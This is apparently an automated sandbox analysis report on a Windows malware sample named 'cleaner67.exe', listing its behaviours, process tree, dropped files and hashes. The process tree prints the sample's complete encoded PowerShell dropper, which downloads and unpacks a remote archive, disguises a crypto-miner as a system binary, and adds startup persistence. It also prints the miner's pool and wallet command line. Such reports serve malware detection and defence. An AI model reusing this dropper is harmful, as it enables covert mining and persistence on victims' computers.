Analysis

  • max time kernel
    149s
  • max time network
    130s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/10/2026, 22:52

General

  • Target
    cleaner67.exe
  • Size 4.2MB
  • Sample261026-2te4eshy9p
  • SHA256 2d4da3390dd0553db752a126bf2809e8be3b8db5314efa39bdd3b53f2bec57ab
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Manipulates Digital Signatures 1 IoCs

    Attackers can apply techniques such as modifying certain DLL exports to make their binary seem valid.

  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 64 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Modifies termsrv.dll 1 TTPs 1 IoCs

    Commonly used to allow simultaneous RDP sessions.

  • Drops file in Windows directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cleaner67.exe
    "C:\Users\Admin\AppData\Local\Temp\cleaner67.exe"
    1⤵
    • Checks BIOS information in registry
    • Suspicious use of WriteProcessMemory
    PID:4876
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABkAD0AIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQAiADsAJABwAD0AIgAkAGQAXABTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIALgBlAHgAZQAiADsAbgBpACAAJABkACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAJABtAGsAPQB7ACAAJAB3AD0AKABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFYAaQBkAGUAbwBDAG8AbgB0AHIAbwBsAGwAZQByACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAHwAPwB7ACQAXwAuAE4AYQBtAGUAfQB8AHMAZQBsAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxACkALgBOAGEAbQBlADsAaQBmACgAJAB3ACkAewAkAHcAPQAoACQAdwAgAC0AcgBlAHAAbABhAGMAZQAgACcAWwBeAEEALQBaAGEALQB6ADAALQA5AF0AJwAsACcAJwApAH0AZQBsAHMAZQB7ACQAdwA9ACcAJwB9ADsAaQBmACgAJAB3AC4ATABlAG4AZwB0AGgAIAAtAGwAdAAgADIAKQB7ACQAdwA9ACgALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAKwAoADYANQAuAC4AOQAwACkAfAAlAHsAWwBjAGgAYQByAF0AJABfAH0AfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA2ACkAKQB9ADsAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAIgAkAGQAXABzAHQAYQByAHQALgB2AGIAcwAiACAAKAAnAFMAZQB0ACAAcwBoAD0AQwByAGUAYQB0AGUATwBiAGoAZQBjAHQAKAAiAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAIgApACAAOgAgAHMAaAAuAEMAdQByAHIAZQBuAHQARABpAHIAZQBjAHQAbwByAHkAPQBzAGgALgBFAHgAcABhAG4AZABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAUwB0AHIAaQBuAGcAcwAoACIAJQBBAFAAUABEAEEAVABBACUAXABNAGkAYwByAG8AcwBvAGYAdABcAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAIgApACAAOgAgAHMAaAAuAFIAdQBuACAAIgBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ALQB1AHIAbAAgAHMAdAByAGEAdAB1AG0AKwBzAHMAbAA6AC8ALwBwAHIAbAAuAGsAcgB5AHAAdABlAHgALgBuAGUAdAB3AG8AcgBrADoAOAAwADQAOAAgAC0ALQB1AHMAZQByACAAcAByAGwAMQBwAGEAbABqAGMAYwA5AHkANwA0AHcAZQBjADMAMAB3AGUAdQB2AHcAZABtADIAOQBrADkAegAwADQAOQB6AHYAaAB4AHgAZAAzAGYAZwB6AGcAcABwADQANgBhAHcAOQBzAHkAcABmAHEAbAAyAGYAeQBqAHUALwAnACsAJAB3ACsAJwAgAC0ALQBnAHAAdQAtAGYAYQBuACAANgAwACIALAAgADAALAAgAEYAYQBsAHMAZQAnACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEEAUwBDAEkASQA7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIABTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAIAAoACcAdwBzAGMAcgBpAHAAdAAuAGUAeABlACAAIgAnACsAJABkACsAJwBcAHMAdABhAHIAdAAuAHYAYgBzACIAJwApADsAJABzAGEAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEUAeABwAGwAbwByAGUAcgBcAFMAdABhAHIAdAB1AHAAQQBwAHAAcgBvAHYAZQBkAFwAUgB1AG4AJwA7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAAJABzAGEAKQB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHMAYQAgAC0ATgBhAG0AZQAgAFMAeQBzAHQAZQBtAFMAZQB0AHQAaQBuAGcAcwBCAHIAbwBrAGUAcgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABCAGkAbgBhAHIAeQAgAC0AVgBhAGwAdQBlACAAKABbAGIAeQB0AGUAWwBdAF0AKAAyACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAAKQApACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfABPAHUAdAAtAE4AdQBsAGwAfQAgAH0AOwAkAGwAawA9ACIAJABkAFwAYgBvAG8AdAAuAGwAbwBjAGsAIgA7ACQAZgBzAD0AJABuAHUAbABsADsAZgBvAHIAZQBhAGMAaAAoACQAaQAgAGkAbgAgADEALgAuADEAMgAwACkAewB0AHIAeQB7ACQAZgBzAD0AWwBJAE8ALgBGAGkAbABlAF0AOgA6AE8AcABlAG4AKAAkAGwAawAsACcATwBwAGUAbgBPAHIAQwByAGUAYQB0AGUAJwAsACcAUgBlAGEAZABXAHIAaQB0AGUAJwAsACcATgBvAG4AZQAnACkAOwBiAHIAZQBhAGsAfQBjAGEAdABjAGgAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANQAwADAAfQB9ADsAaQBmACgALQBuAG8AdAAgACQAZgBzACkAewBlAHgAaQB0AH0AOwAkAHcAZAA9AGkAZgAoACQAZQBuAHYAOgB3AGkAbgBkAGkAcgApAHsAJABlAG4AdgA6AHcAaQBuAGQAaQByAH0AZQBsAHMAZQB7ACcAQwA6AFwAVwBpAG4AZABvAHcAcwAnAH0AOwAkAHIAdQBuAD0AJABmAGEAbABzAGUAOwBHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfAAlAHsAJABuAD0AJABfAC4ATgBhAG0AZQA7AHQAcgB5AHsAJABxAD0AJABfAC4AUABhAHQAaAB9AGMAYQB0AGMAaAB7ACQAcQA9ACcAJwB9ADsAaQBmACgAJABxACAALQBhAG4AZAAgACgAKAAkAHEAIAAtAGkAZQBxACAAJABwACkAIAAtAG8AcgAgACQAcQAuAFQAbwBMAG8AdwBlAHIAKAApAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACQAZAAuAFQAbwBMAG8AdwBlAHIAKAApACsAJwBcACcAKQAgAC0AbwByACAAKAAkAG4AIAAtAGkAZQBxACAAJwBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAJwAgAC0AYQBuAGQAIAAtAG4AbwB0ACAAJABxAC4AVABvAEwAbwB3AGUAcgAoACkALgBTAHQAYQByAHQAcwBXAGkAdABoACgAJAB3AGQALgBUAG8ATABvAHcAZQByACgAKQApACkAKQApAHsAJAByAHUAbgA9ACQAdAByAHUAZQB9AH0AOwBpAGYAKAAkAHIAdQBuACkAewAkAGsAdgA9ACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAG0AZQAgAFMAeQBzAHQAZQBtAFMAZQB0AHQAaQBuAGcAcwBCAHIAbwBrAGUAcgAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJwBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAJwA7AGkAZgAoACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAiACQAZABcAHMAdABhAHIAdAAuAHYAYgBzACIAKQApACAALQBvAHIAIAAoAC0AbgBvAHQAIAAkAGsAdgApACAALQBvAHIAIAAoAC0AbgBvAHQAIAAkAGsAdgAuAEMAbwBuAHQAYQBpAG4AcwAoACQAZAApACkAKQB7ACYAIAAkAG0AawB9ADsAZQB4AGkAdAB9ADsAZgBvAHIAZQBhAGMAaAAoACQAaQAgAGkAbgAgADEALgAuADQAMAApAHsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHAAKQB7AHQAcgB5AHsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AEQAZQBsAGUAdABlACgAJABwACkAOwBiAHIAZQBhAGsAfQBjAGEAdABjAGgAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANQAwADAAfQB9AGUAbABzAGUAewBiAHIAZQBhAGsAfQB9ADsAJAB6AD0AIgAkAGQAXABrAC4AegBpAHAAIgA7AGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkAGkAZwBpAHQAYQBsAGYAbwByAGUAbgBzAGkAawBlAHIALwBtAHkAcgBlAGEAZABtAGUALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AcgBlAGEAZABtAGUALgB6AGkAcAAnACAALQBPAHUAdABGAGkAbABlACAAJAB6ADsARQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAAJAB6ACAAJABkACAALQBGAG8AcgBjAGUAOwBNAG8AdgBlAC0ASQB0AGUAbQAgACIAJABkAFwAcgBlAGEAZABtAGUALgBtAGQAIgAgACQAcAAgAC0ARgBvAHIAYwBlADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJAB6ACwAIgAkAGQAXABTAHQAYQByAHQALQBQAGUAYQByAGwALgBiAGEAdAAiACwAIgAkAGQAXABTAHQAYQByAHQALQBRAHUAYQBuAHQAdQBzAC4AYgBhAHQAIgAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAJgAgACQAbQBrADsAdwBzAGMAcgBpAHAAdAAuAGUAeABlACAAIgAkAGQAXABzAHQAYQByAHQALgB2AGIAcwAiAA==
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2204
      • C:\Windows\system32\wscript.exe
        "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\start.vbs
        3⤵
        • Executes a VBScript file via the Windows Script Host.
        • Suspicious use of WriteProcessMemory
        PID:2444
        • C:\Windows\System32\SystemSettingsBroker.exe
          "C:\Windows\System32\SystemSettingsBroker.exe" --url stratum+ssl://prl.kryptex.network:8048 --user prl1paljcc9y74wec30weuvwdm29k9z049zvhxxd3fgzgpp46aw9sypfql2fyju/NVIDIAGeForce210 --gpu-fan 60
          4⤵
            PID:3764
      • C:\Users\Admin\AppData\Local\Temp\bnd9D5F.tmp.exe
        "C:\Users\Admin\AppData\Local\Temp\bnd9D5F.tmp.exe"
        2⤵
        • Manipulates Digital Signatures
        • Executes dropped EXE
        • Writes to the Master Boot Record (MBR)
        • Drops file in System32 directory
        • Modifies termsrv.dll
        • Drops file in Windows directory
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        PID:1572

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_iq3sw0oj.qae.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iq3sw0oj.qae.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          bnd9D5F.tmp.exe

          • Path C:\Users\Admin\AppData\Local\Temp\bnd9D5F.tmp.exe
          • Size 1.1MB
          • SHA256 f514040f57487de6eb6a06d42f860ceacc63b43fea4433313b478df1ca5892ba
          • MD5 SHA1 SHA512 SSDEEP TLSH

          start.vbs

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\start.vbs
          • Size 317B
          • SHA256 d868fc0446f2b91f4ebe8d1ec0282de4be43b8f9583bc947ff5e0ce8a3d82910
          • MD5 SHA1 SHA512 TLSH

          e2szvmgwm3omcw.dll

          • Path C:\Windows\System32\e2szvmgwm3omcw.dll
          • Size 2.9MB
          • SHA256 c2ff3130b6016cd3a697adff5826520d855d2fb6d08dfe3c990f5ffee1730230
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2204-25-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

          memory/2204-29-0x000002535E810000-0x000002535E93F000-memory.dmp

          memory/2204-17-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

          memory/2204-18-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

          memory/2204-19-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

          memory/2204-21-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

          memory/2204-22-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

          memory/2204-23-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

          memory/2204-24-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

          memory/2204-26-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

          memory/2204-1-0x00007FFEC5F2F000-0x00007FFEC5F30000-memory.dmp

          memory/2204-27-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

          memory/2204-28-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

          memory/2204-14-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

          memory/2204-30-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

          memory/2204-37-0x000002535E4C0000-0x000002535E4DE000-memory.dmp

          memory/2204-38-0x000002535EC40000-0x000002535ECF2000-memory.dmp

          memory/2204-39-0x000002535E4B0000-0x000002535E4BA000-memory.dmp

          memory/2204-40-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

          memory/2204-41-0x000002535EA70000-0x000002535EA9A000-memory.dmp

          memory/2204-42-0x000002535EA70000-0x000002535EA94000-memory.dmp

          memory/2204-11-0x00000253463D0000-0x00000253463F2000-memory.dmp

          memory/2204-45-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

          memory/2204-47-0x000002535E810000-0x000002535E93F000-memory.dmp

          memory/2204-12-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

          memory/2204-49-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp